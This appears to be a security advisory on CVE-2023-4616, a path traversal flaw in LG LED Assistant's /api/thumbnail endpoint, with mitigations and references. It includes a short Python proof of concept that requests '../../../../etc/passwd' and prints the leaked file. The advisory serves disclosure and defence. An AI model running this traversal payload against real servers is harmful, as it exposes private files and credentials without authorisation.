CVE-2023-4616 - LG LED Assistant API Information Disclosure Vulnerability

A critical security vulnerability (CVE-2023-4616) has been discovered in LG's LED Assistant software, which enables remote attackers to disclose sensitive information without requiring authentication. This vulnerability exists in the /api/thumbnail endpoint, and results from the lack of proper validation of user-supplied paths prior to using them in file operations. An attacker can successfully exploit this vulnerability to retrieve confidential information in the context of the current user.

Exploit Details

The root cause of this vulnerability is the insufficient validation of user-defined paths in the /api/thumbnail endpoint. The server implementation accepts a user-provided parameter but does not properly validate it. As a consequence, an attacker can manipulate the path parameter in requests sent to said endpoint to access sensitive files stored on the server.

An example of an exploit utilizing this vulnerability would be as follows

import requests

target_url = "http://example.com/api/thumbnail";
file_path = "../../../../etc/passwd"

response = requests.get(target_url, params={"path": file_path})

if response.status_code == 200:
    print("Sensitive Information:\n")
    print(response.text)
else:
    print("Error: Could not retrieve sensitive information.")

This Python script sends a GET request to the target URL's /api/thumbnail endpoint, which includes the manipulated "path" parameter set to access the Linux /etc/passwd file. The vulnerable server would process the request and return the contents of the requested file, leaking sensitive information.

Exploiting this vulnerability allows attackers to

- Access sensitive information stored on the server, such as credentials, configurations, or private data.

Potentially escalate privileges, allowing further attacks on the system.

To summarize, if left unpatched, CVE-2023-4616 could lead to significant information disclosure and potential system compromise.

Solution and Mitigation

No official patch has been issued by LG as of this moment. However, administrators who are running affected installations of LG LED Assistant can implement the following mitigations:

- Restrict access to the /api/thumbnail endpoint by whitelisting authorized IP addresses or implementing proper authentication mechanisms.
- Regularly audit and monitor network traffic to identify any suspicious activity directed towards the vulnerable endpoint.

For original references regarding this risk, you can check the following links

- CVE-2023-4616 Official CVE Record
- LG Product Security
- NIST National Vulnerability Database: CVE-2023-4616

Stay tuned for new updates on this vulnerability and potential fixes from LG.

Timeline

Published on: 09/04/2023 11:15:00 UTC
Last modified on: 09/08/2023 14:14:00 UTC